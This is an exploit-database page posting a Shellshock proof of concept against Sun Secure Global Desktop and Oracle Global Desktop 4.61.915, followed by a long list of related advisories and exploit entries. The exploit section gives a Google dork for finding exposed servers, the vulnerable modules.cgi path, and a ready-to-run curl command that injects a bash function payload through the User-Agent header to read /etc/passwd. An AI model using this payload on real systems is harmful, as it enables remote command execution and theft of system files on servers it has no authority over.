Lucene search
Lastc0de1337DAY-ID-25077HistoryJun 06, 2016 - 12:00 a.m.
Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 - Exploit (Shellshock)
2016-06-0600:00:00
lastc0de
0day.today
30
0.974 High
EPSS
Percentile
99.9%
Exploit for cgi platform in category web applications
# Exploit Title: ShellShock On Sun Secure Global Desktop & Oracle Global desktop
# Google Dork: intitle:Install the Sun Secure Global Desktop Native Client
# Date: 6/4/2016
# Exploit Author: [email protected]
# Vendor Homepage: http://www.sun.com/ & http://www.oracle.com/
# Software Link: http://www.oracle.com/technetwork/server-storage/securedesktop/downloads/index.html
# Version: 4.61.915
# Tested on: Linux
VULNERABLE FILE
http://target.com//tarantella/cgi-bin/modules.cgi
POC :
[email protected]~#curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://target.com/tarantella/cgi-bin/modules.cgi > xixixi.txt
[email protected]~#cat xixixi.txt
which will print out the content of /etc/passwd file.
# 0day.today [2018-03-31] #Related
exploitpack
exploitpack
Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock)
2016-03-16 00:00:00
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)
2014-09-29 00:00:00
GNU bash 4.3.11 - Environment Variable dhclient
2014-10-02 00:00:00
saint
saint
Bash environment variable command injection in Cisco UCS Manager
2016-03-24 00:00:00
Bash environment variable command injection in Cisco UCS Manager
2016-03-24 00:00:00
Bash environment variable command injection in Cisco UCS Manager
2016-03-24 00:00:00
packetstorm
packetstorm
Cisco UCS Manager 2.1(1b) Shellshock
2016-03-17 00:00:00
Sun Secure Global Desktop / Oracle Global Desktop Shellshock
2016-06-07 00:00:00
CUPS Filter Bash Environment Variable Code Injection
2014-10-28 00:00:00
zdt
zdt
Cisco UCS Manager 2.1(1b) - Remote Exploit (Shellshock)
2016-03-16 00:00:00
CUPS Filter Bash Environment Variable Code Injection Exploit
2014-10-29 00:00:00
DNS Reverse Lookup Shellshock Exploit
2014-10-14 00:00:00
openvas
openvas
Cisco UCS GNU Bash Environment Variable Command Injection Vulnerability (Shellshock)
2016-03-17 00:00:00
Oracle Linux Local Check: ELSA-2014-3094
2015-10-06 00:00:00
exploitdb
exploitdb
Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock)
2016-03-16 00:00:00
CUPS Filter - Bash Environment Variable Code Injection (Metasploit)
2014-10-29 00:00:00
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)
2014-09-29 00:00:00
nessus
nessus
Ubuntu 14.04 LTS : Bash vulnerabilities (USN-2380-1)
2014-10-11 00:00:00
Oracle Linux 7 : bash (ELSA-2014-3092) (Shellshock)
2014-11-21 00:00:00
Bash Remote Code Execution (CVE-2014-6277 / CVE-2014-6278) (Shellshock)
2014-10-06 00:00:00
freebsd
freebsd
bash -- remote code execution
2014-09-27 00:00:00
oraclelinux
oraclelinux
bash security update
2014-11-20 00:00:00
bash security update
2014-11-20 00:00:00
bash security update
2014-11-20 00:00:00
metasploit
metasploit
Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
2014-09-25 06:19:14
CUPS Filter Bash Environment Variable Code Injection (Shellshock)
2014-10-19 17:58:49
Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
2014-09-25 18:26:57
seebug
seebug
CUPS Filter Bash Environment Variable Code Injection
2014-11-13 00:00:00
GNU bash 4.3.11 Environment Variable dhclient Exploit
2014-10-10 00:00:00
Bash 4.3 远程命令执行漏洞
(破壳)
2014-09-26 00:00:00
ubuntu
ubuntu
Bash vulnerabilities
2014-10-09 00:00:00
attackerkb
attackerkb
CVE-2014-6271
2014-09-24 00:00:00
arista
arista
Security Advisory 0006
2014-09-29 00:00:00
mageia
mageia
Updated bash packages fix multiple security vulnerabilities
2014-10-01 13:34:33
cve
cve
ubuntucve
ubuntucve
CVE-2014-6278
2014-09-30 00:00:00
prion
prion
Design/Logic Flaw
2014-09-30 10:55:00
Design/Logic Flaw
2014-10-03 18:55:00
Design/Logic Flaw
2014-10-13 18:55:00
ibm
ibm
gentoo
gentoo
Bash: Multiple vulnerabilities
2014-10-04 00:00:00
suse
suse
Security update for Containment-Studio (important)
2014-10-14 01:05:00
Security update for SLES 12 Docker image (important)
2017-10-11 03:06:53
Security update for SLES 12-SP1 Docker image (important)
2017-10-11 03:07:32
debiancve
debiancve
CVE-2014-6278
2014-09-30 10:55:00
vmware
vmware
VMware product updates address critical Bash security vulnerabilities
2014-09-30 00:00:00
VMware product updates address critical Bash security vulnerabilities
2014-09-30 00:00:00
threatpost
threatpost
Researcher Takes Wraps off Undisclosed Bash Vulnerabilities
2014-10-03 05:00:50
f5
f5
SOL15629 - Multiple GNU Bash vulnerabilities
2014-09-25 00:00:00
K15629 : Multiple GNU Bash vulnerabilities
2015-05-22 00:00:00
huawei
huawei
Security Advisory-Bash Code Injection Vulnerability
2014-10-24 00:00:00
citrix
citrix
Citrix Security Advisory for GNU Bash Shellshock Vulnerabilities
2014-09-26 04:00:00
checkpoint_advisories
checkpoint_advisories
securityvulns
securityvulns
CA20141001-01: Security Notice for Bash Shellshock Vulnerability
2014-10-13 00:00:00
the other bash RCEs (CVE-2014-6277 and CVE-2014-6278)
2014-10-05 00:00:00
bash code execution
2014-10-13 00:00:00
cisco
cisco
GNU Bash Environment Variable Command Injection Vulnerability
2014-09-26 01:00:00
kitploit
kitploit
ShellShockHunter - It's A Simple Tool For Test Vulnerability Shellshock
2021-02-10 11:30:00
jvn
jvn
JVN#55667175: QNAP QTS vulnerable to OS command injection
2014-10-28 00:00:00
